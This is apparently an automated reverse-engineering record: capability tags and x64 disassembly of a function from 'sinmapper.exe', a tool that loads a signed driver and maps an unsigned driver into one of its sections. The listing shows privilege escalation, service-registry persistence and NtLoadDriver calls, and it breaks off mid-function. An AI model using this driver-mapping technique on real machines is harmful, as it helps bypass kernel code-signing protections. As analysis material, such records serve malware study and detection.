Function at 0x1400070c0
Capabilities:
Enumerate pe sections
Get system information on windows
Install driver
Make suspicious ntquerysysteminformation call
Parse pe header
Persist via windows service
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x520]
sub rsp, 0x620
mov rax, qword [0x140025010]
xor rax, rsp
mov qword [rbp + 0x510], rax
mov r15, rdx
mov qword [rbp - 8], rdx
xor esi, esi
mov r12d, esi
mov dword [rbp + 0x88], esi
lea r13, [rsi - 1]
mov r14d, 4
cmp ecx, r14d
jne 0x14000728b
mov rdi, qword [rdx + 8]
mov rbx, r13
inc rbx
cmp byte [rdi + rbx], sil
jne 0x140007124
call fcn.14000f930
mov qword [rbp + 0xf0], rdi
mov qword [rbp + 0xf8], rbx
lea r8, [rbp + 0xf0]
mov edx, eax
lea rcx, [rbp - 0x48]
call fcn.1400040a0
nop
mov dword [rbp + 0x88], 0xc1
lea rdx, [rbp - 0x68]
lea rcx, [rbp - 0x48]
call fcn.140004310
nop
mov dword [rbp + 0x88], 0xc3
lea rdx, [rbp + 0x100]
mov rcx, rax
call fcn.14000af90
nop
mov r12d, 0x1c7
mov dword [rbp + 0x88], r12d
lea rcx, [rbp + 0x100]
cmp qword [rbp + 0x118], 0x10
cmovae rcx, qword [rbp + 0x100]
mov rbx, qword [rbp + 0x110]
mov r8, rbx
cmp rbx, 4
cmova r8, r14
lea rdx, str..sys
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000728b
cmp rbx, 4
jne 0x14000728b
mov rdi, qword [r15 + 0x10]
mov rbx, r13
inc rbx
cmp byte [rdi + rbx], 0
jne 0x1400071e0
call fcn.14000f930
mov qword [rbp + 0xf0], rdi
mov qword [rbp + 0xf8], rbx
lea r8, [rbp + 0xf0]
mov edx, eax
lea rcx, [rsp + 0x68]
call fcn.1400040a0
nop
mov dword [rbp + 0x88], 0x7cf
lea rdx, [rbp]
lea rcx, [rsp + 0x68]
call fcn.140004310
nop
mov dword [rbp + 0x88], 0x7df
lea rdx, [rbp + 0x90]
mov rcx, rax
call fcn.14000af90
mov r12d, 0xfff
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0x10
cmovae rcx, qword [rbp + 0x90]
mov rbx, qword [rbp + 0xa0]
mov r8, rbx
cmp rbx, 4
cmova r8, r14
lea rdx, str..sys
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000728b
cmp rbx, 4
jne 0x14000728b
xor bl, bl
jmp 0x14000728d
mov bl, 1
test r12b, 0x20
je 0x1400072f4
and r12d, 0xffffffdf
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0x10
jb 0x1400072db
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400072d6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400072d6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400100e0
mov qword [rbp + 0xa0], rsi
mov qword [rbp + 0xa8], 0xf
mov byte [rbp + 0x90], 0
test r12b, 0x10
je 0x140007352
and r12d, 0xffffffef
mov rdx, qword [rbp + 0x18]
cmp rdx, 8
jb 0x140007341
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000733c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000733c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400100e0
movdqa xmm0, xmmword [0x14001ff20]
movdqu xmmword [rbp + 0x10], xmm0
mov word [rbp], si
test r12b, 8
je 0x1400073b3
and r12d, 0xfffffff7
mov rdx, qword [rbp - 0x80]
cmp rdx, 8
jb 0x1400073a0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000739b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000739b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400100e0
movdqa xmm0, xmmword [0x14001ff20]
movdqu xmmword [rsp + 0x78], xmm0
mov word [rsp + 0x68], si
test r12b, 4
je 0x14000741a
and r12d, 0xfffffffb
mov rdx, qword [rbp + 0x118]
cmp rdx, 0x10
jb 0x140007401
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400073fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400073fc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400100e0
mov qword [rbp + 0x110], rsi
mov qword [rbp + 0x118], 0xf
mov byte [rbp + 0x100], 0
test r12b, 2
je 0x140007478
and r12d, 0xfffffffd
mov rdx, qword [rbp - 0x50]
cmp rdx, 8
jb 0x140007467
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007462
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007462
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400100e0
movdqa xmm0, xmmword [0x14001ff20]
movdqu xmmword [rbp - 0x58], xmm0
mov word [rbp - 0x68], si
test r12b, 1
je 0x1400074c5
and r12d, 0xfffffffe
mov rdx, qword [rbp - 0x30]
cmp rdx, 8
jb 0x1400074c5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400074c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400074c0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400100e0
test bl, bl
je 0x1400074da
lea rcx, str.____usage:_sinmapper.exe_driver.sys_signed_driver.sys_.section_name_n
call fcn.140001260
jmp 0x140009ad1
mov rdi, qword [r15 + 8]
mov rbx, r13
inc rbx
cmp byte [rdi + rbx], 0
jne 0x1400074e1
call fcn.14000f930
mov qword [rbp + 0xf0], rdi
mov qword [rbp + 0xf8], rbx
lea r8, [rbp + 0xf0]
mov edx, eax
lea rcx, [rbp]
call fcn.1400040a0
or r12d, 0x3000
lea rcx, [rbp]
call fcn.140004eb0
test al, al
sete bl
mov rdx, qword [rbp + 0x18]
cmp rdx, 8
jb 0x140007567
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007562
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007562
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400100e0
test bl, bl
je 0x140007580
mov rdx, qword [r15 + 8]
lea rcx, str.____driver___s__does_not_exist_n
call fcn.140001260
jmp 0x140009ad1
mov r14, qword [r15 + 0x10]
mov rbx, rsi
mov dword [rbp + 0x88], esi
lea r9, [rbp + 0x88]
xor r8d, r8d
xor edx, edx
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x1400075ff
nop dword [rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x88]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp + 0x88]
mov r8d, dword [rbp + 0x88]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x1400075b0
test eax, eax
js 0x1400076cf
mov edi, esi
cmp dword [rbx], esi
jbe 0x1400076cf
mov esi, edi
imul rax, rsi, 0x128
movzx ecx, word [rax + rbx + 0x2e]
add rcx, rax
lea rdx, [rbx + 0x30]
add rdx, rcx
xor eax, eax
mov qword [rbp + 0x90], rax
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], 0xf
mov r8, r13
inc r8
cmp byte [rdx + r8], al
jne 0x140007647
lea rcx, [rbp + 0x90]
call fcn.140002640
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0x10
cmovae rcx, qword [rbp + 0x90]
mov rdx, r14
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x1400077e1
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0x10
jb 0x1400076c5
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400076c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007836
call fcn.1400100e0
inc edi
cmp edi, dword [rbx]
jb 0x140007611
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x400]
call sub.VCRUNTIME140.dll_memset
mov rdx, qword [r15 + 8]
lea rcx, [rbp + 0x400]
call fcn.14000a7c0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x150], xmm0
mov qword [rbp + 0x160], rax
xor r13d, r13d
mov qword [rbp + 0x130], r13
mov word [rbp + 0x138], 1
mov rax, qword [rbp + 0x400]
movsxd rcx, dword [rax + 4]
mov rax, qword [rbp + rcx + 0x448]
mov qword [rbp + 0x1f0], rax
test rax, rax
sete byte [rbp + 0x1f8]
mov byte [rbp + 0x1f9], r13b
movdqu xmmword [rbp + 0x150], xmm0
mov qword [rbp + 0x160], r13
movaps xmm0, xmmword [rbp + 0x130]
movdqa xmmword [rbp + 0xf0], xmm0
movaps xmm1, xmmword [rbp + 0x1f0]
movdqa xmmword [rbp + 0x130], xmm1
lea rax, [rbp + 0x150]
mov qword [rsp + 0x40], rax
movzx r14d, byte [rbp + 0x139]
movzx edi, byte [rbp + 0x138]
mov rbx, qword [rbp + 0x130]
movzx r15d, byte [rbp + 0xf8]
mov rsi, qword [rbp + 0xf0]
test dil, dil
jne 0x140007866
test rbx, rbx
je 0x140007860
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
je 0x140007860
movzx r14d, al
jmp 0x140007863
imul rax, rsi, 0x128
mov rdi, qword [rax + rbx + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0x10
jb 0x140007842
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000783d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000783d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400100e0
test rdi, rdi
je 0x1400076e0
mov rdx, qword [r15 + 0x10]
lea rcx, str.____signed_driver___s__already_loaded_n
call fcn.140001260
jmp 0x140009ad1
mov rbx, r13
mov dil, 1
test r15b, r15b
jne 0x140007884
test rsi, rsi
je 0x14000787e
mov rcx, rsi
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
jne 0x140007881
mov rsi, r13
mov r15b, 1
test rbx, rbx
jne 0x1400078ac
test rsi, rsi
jne 0x1400078b1
mov ecx, 0x5a4d
mov rax, qword [rbp + 0x150]
cmp word [rax], cx
je 0x140007935
xor esi, esi
mov ecx, esi
jmp 0x14000794b
test rsi, rsi
jne 0x14000788e
test dil, dil
jne 0x1400078d2
test rbx, rbx
je 0x1400078cf
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
je 0x1400078cf
movzx r14d, al
jmp 0x1400078d2
mov rbx, r13
mov byte [rbp + 0x81], r14b
mov rax, qword [rbp + 0x158]
cmp rax, qword [rbp + 0x160]
je 0x1400078f5
mov byte [rax], r14b
inc qword [rbp + 0x158]
jmp 0x14000790f
lea r8, [rbp + 0x81]
mov rdx, qword [rbp + 0x158]
lea rcx, [rbp + 0x150]
call fcn.14000bd10
test rbx, rbx
je 0x14000792a
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sbumpc_void____ptr64]
cmp eax, 0xffffffff
je 0x14000792a
xor dil, dil
jmp 0x1400077b4
mov rbx, r13
mov dil, 1
jmp 0x1400077b4
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
mov esi, 0
cmovne rcx, rsi
mov qword [rsp + 0x48], rcx
cmp dword [rcx], 0x4550
mov r13, 0xffffffffffffffff
je 0x140007970
lea rcx, str.____invalid_nt_signature_of_target_file_n
call fcn.140001260
jmp 0x140009ab8
mov edi, dword [rcx + 0x50]
mov dword [rsp + 0x60], edi
mov rax, qword [rbp - 8]
mov rbx, qword [rax + 0x18]
mov rdx, qword [rax + 0x10]
mov qword [rbp - 0x68], rsi
mov qword [rbp - 0x58], rsi
mov qword [rbp - 0x50], 0xf
mov r8, r13
inc r8
cmp byte [rdx + r8], 0
jne 0x140007996
lea rcx, [rbp - 0x68]
call fcn.140002640
mov r9d, edi
mov r8, rbx
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x250]
call fcn.140005d40
nop
cmp dword [rbp + 0x298], 0
jne 0x1400079da
lea rcx, str.____failed_to_get_info_for_potential_driver._n
call fcn.140001260
jmp 0x140009aab
mov qword [rbp + 0x100], rsi
mov qword [rbp + 0x110], rsi
mov qword [rbp + 0x118], 7
mov r8d, 0x15
lea rdx, str.SeLoadDriverPrivilege
lea rcx, [rbp + 0x100]
call fcn.14000ae10
mov qword [rbp + 0x58], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x58]
mov edx, 0x28
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140007a33
mov bl, 1
jmp 0x140007ac1
mov qword [rbp + 0x120], rsi
lea rdx, [rbp + 0x100]
cmp qword [rbp + 0x118], 8
cmovae rdx, qword [rbp + 0x100]
lea r8, [rbp + 0x120]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x140007a68
mov bl, 1
jmp 0x140007ac1
mov dword [rbp + 0x130], 1
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x134], rax
mov dword [rbp + 0x13c], 2
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
mov r9d, 0x10
lea r8, [rbp + 0x130]
xor edx, edx
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x140007ab5
mov bl, 1
jmp 0x140007ac1
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor bl, bl
mov rdx, qword [rbp + 0x118]
cmp rdx, 8
jb 0x140007b0a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007b05
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007b05
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400100e0
mov qword [rbp + 0x110], rsi
mov qword [rbp + 0x118], 7
mov word [rbp + 0x100], si
test bl, bl
je 0x140007b2e
xor bl, bl
jmp 0x14000802b
mov rdi, qword [rbp + 0x260]
lea rbx, [rbp + 0x250]
cmp qword [rbp + 0x268], 0x10
cmovae rbx, qword [rbp + 0x250]
call fcn.14000f930
mov qword [rbp + 0xf0], rbx
mov qword [rbp + 0xf8], rdi
lea r8, [rbp + 0xf0]
mov edx, eax
lea rcx, [rbp - 0x28]
call fcn.1400040a0
or r12d, 0xc000
mov qword [rbp + 0x178], rsi
movdqa xmm0, xmmword [0x14001ff20]
movdqu xmmword [rbp + 0x188], xmm0
mov word [rbp + 0x178], si
bts r12d, 0x10
mov dword [rbp + 0x88], r12d
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x178]
call fcn.140004d20
test eax, eax
jne 0x140009b18
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x178]
call fcn.14000af90
bts r12d, 0x11
mov dword [rbp + 0x88], r12d
lea r8, [rsp + 0x68]
lea rcx, [rbp - 0x48]
call fcn.14000b2f0
mov rbx, rax
mov qword [rbp + 0xb0], rsi
mov qword [rbp + 0xc0], rsi
mov qword [rbp + 0xc8], 0xf
mov byte [rbp + 0xb0], 0
mov r8d, 0x22
lea rdx, str.SystemCurrentControlSetServices_
lea rcx, [rbp + 0xb0]
call fcn.140002640
nop
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0xb0]
call fcn.14000a930
lea rdx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0x10
cmovae rdx, qword [rbp + 0xb0]
lea r8, [rbp + 0x50]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x140007ca9
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0x10
jb 0x140007ca2
inc rdx
mov rcx, qword [rbp + 0xb0]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140007c9d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007dcb
call fcn.1400100e0
xor bl, bl
jmp 0x140007dd7
mov byte [rbp + 0x81], 1
mov edi, 4
mov dword [rsp + 0x28], edi
lea rax, [rbp + 0x81]
mov qword [rsp + 0x20], rax
mov r9d, edi
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140007c61
mov byte [rbp + 0x82], 3
mov dword [rsp + 0x28], edi
lea rax, [rbp + 0x82]
mov qword [rsp + 0x20], rax
mov r9d, edi
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140007c61
mov byte [rbp + 0x83], 3
mov dword [rsp + 0x28], edi
lea rax, [rbp + 0x83]
mov qword [rsp + 0x20], rax
mov r9d, edi
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140007c61
mov eax, dword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x140007d59
mov rbx, qword [rbx]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
mov r9d, 1
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140007c61
mov rcx, qword [rbp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
sete bl
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0x10
jb 0x140007dd7
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007dd2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007dd2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400100e0
mov byte [rbp + 0xb0], 0
mov qword [rbp + 0xc8], 0xf
mov qword [rbp + 0xc0], rsi
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x140007e2e
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007e29
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007e29
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400100e0
mov qword [rbp - 0x38], rsi
mov qword [rbp - 0x30], 0xf
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x140007e7d
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007e78
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007e78
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400100e0
mov qword [rsp + 0x78], rsi
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], 0
btr r12d, 0x10
mov rdx, qword [rbp + 0x190]
cmp rdx, 8
jb 0x140007edd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007ed8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007ed8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400100e0
movdqa xmm0, xmmword [0x14001ff20]
movdqu xmmword [rbp + 0x188], xmm0
mov word [rbp + 0x178], si
mov rdx, qword [rbp - 0x10]
cmp rdx, 8
jb 0x140007f34
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007f2f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000801f
call fcn.1400100e0
movdqa xmm0, xmmword [0x14001ff20]
movdqu xmmword [rbp - 0x18], xmm0
mov word [rbp - 0x28], si
test bl, bl
je 0x14000802b
mov qword [rbp + 0x90], rsi
mov qword [rbp + 0xa0], rsi
mov qword [rbp + 0xa8], 0xf
mov byte [rbp + 0x90], 0
mov r8d, 0x34
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp + 0x90]
call fcn.140002640
nop
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x90]
call fcn.14000a930
lea rdx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0x10
cmovae rdx, qword [rbp + 0x90]
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, 1
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x168]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp + 0x168]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
test eax, eax
sete bl
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0x10
jb 0x14000802b
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008026
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008026
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400100e0
movzx r15d, bl
lea r14, [rbp + 0x270]
cmp qword [rbp + 0x288], 0x10
cmovae r14, qword [rbp + 0x270]
mov rdi, rsi
mov dword [rbp + 0x50], esi
lea r9, [rbp + 0x50]
xor r8d, r8d
xor edx, edx
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x1400080ab
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x50]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
lea r9, [rbp + 0x50]
mov r8d, dword [rbp + 0x50]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140008065
test eax, eax
js 0x140008180
mov ebx, esi
cmp dword [rdi], 0
jbe 0x140008180
nop
mov esi, ebx
imul rcx, rsi, 0x128
movzx edx, word [rdi + rcx + 0x2e]
add rdx, 0x30
add rdx, rdi
add rdx, rcx
xor eax, eax
mov qword [rbp + 0x198], rax
mov qword [rbp + 0x1a8], rax
mov qword [rbp + 0x1b0], 0xf
mov r8, r13
inc r8
cmp byte [rdx + r8], al
jne 0x1400080f6
lea rcx, [rbp + 0x198]
call fcn.140002640
lea rcx, [rbp + 0x198]
cmp qword [rbp + 0x1b0], 0x10
cmovae rcx, qword [rbp + 0x198]
mov rdx, r14
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x1400083c3
mov rdx, qword [rbp + 0x1b0]
cmp rdx, 0x10
jb 0x140008174
inc rdx
mov rcx, qword [rbp + 0x198]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000816f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008418
call fcn.1400100e0
inc ebx
cmp ebx, dword [rdi]
jb 0x1400080c0
xor esi, esi
mov r8d, 0x8000
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rbx, rsi
cmp r15d, 1
ja 0x140009a84
test rbx, rbx
je 0x140009a84
movaps xmm0, xmmword [rbp + 0x270]
movaps xmmword [rbp + 0x30], xmm0
movaps xmm1, xmmword [rbp + 0x280]
movaps xmmword [rbp + 0x40], xmm1
mov r9d, r15d
mov r8, rbx
lea rdx, [rbp + 0x30]
lea rcx, str.___loaded___s__at___p__with_result__0x_x__n
call fcn.140001260
mov r8d, dword [rbp + 0x290]
lea r14, [rbx + r8]
mov qword [rbp + 0x20], r14
mov qword [rsp + 0x20], r14
mov r9d, dword [rbp + 0x294]
mov rdx, qword [rbp - 8]
mov rdx, qword [rdx + 0x18]
lea rcx, str.___target_section___s__offset__0x_x__size__0x_x__map_start___p__n_n
call fcn.140001260
mov r13d, 4
mov rax, qword gs:[0x58]
add r13, qword [rax]
mov qword [rsp + 0x40], r13
mov eax, dword [r13]
cmp dword [0x140025c80], eax
jle 0x1400084a1
lea rcx, [0x140025c80]
call fcn.140010530
cmp dword [0x140025c80], 0xffffffff
jne 0x1400084a1
xor r15d, r15d
mov edi, r15d
mov dword [rbp + 0x88], r15d
lea r9, [rbp + 0x88]
xor r8d, r8d
xor edx, edx
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x1400082bf
nop dword [rax + rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x88]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
lea r9, [rbp + 0x88]
mov r8d, dword [rbp + 0x88]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140008270
test eax, eax
js 0x1400083a0
mov ebx, r15d
cmp dword [rdi], r15d
jbe 0x1400083a0
mov rsi, 0xffffffffffffffff
nop word [rax + rax]
mov eax, ebx
imul rcx, rax, 0x128
movzx eax, word [rdi + rcx + 0x2e]
add rax, rdi
lea rdx, [rcx + 0x30]
add rdx, rax
mov qword [rbp + 0x90], r15
mov qword [rbp + 0xa0], r15
mov qword [rbp + 0xa8], 0xf
mov r8, rsi
inc r8
cmp byte [rdx + r8], r15b
jne 0x140008314
lea rcx, [rbp + 0x90]
call fcn.140002640
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0x10
cmovae rcx, qword [rbp + 0x90]
lea rdx, str.ntoskrnl.exe
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140008443
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0x10
jb 0x140008396
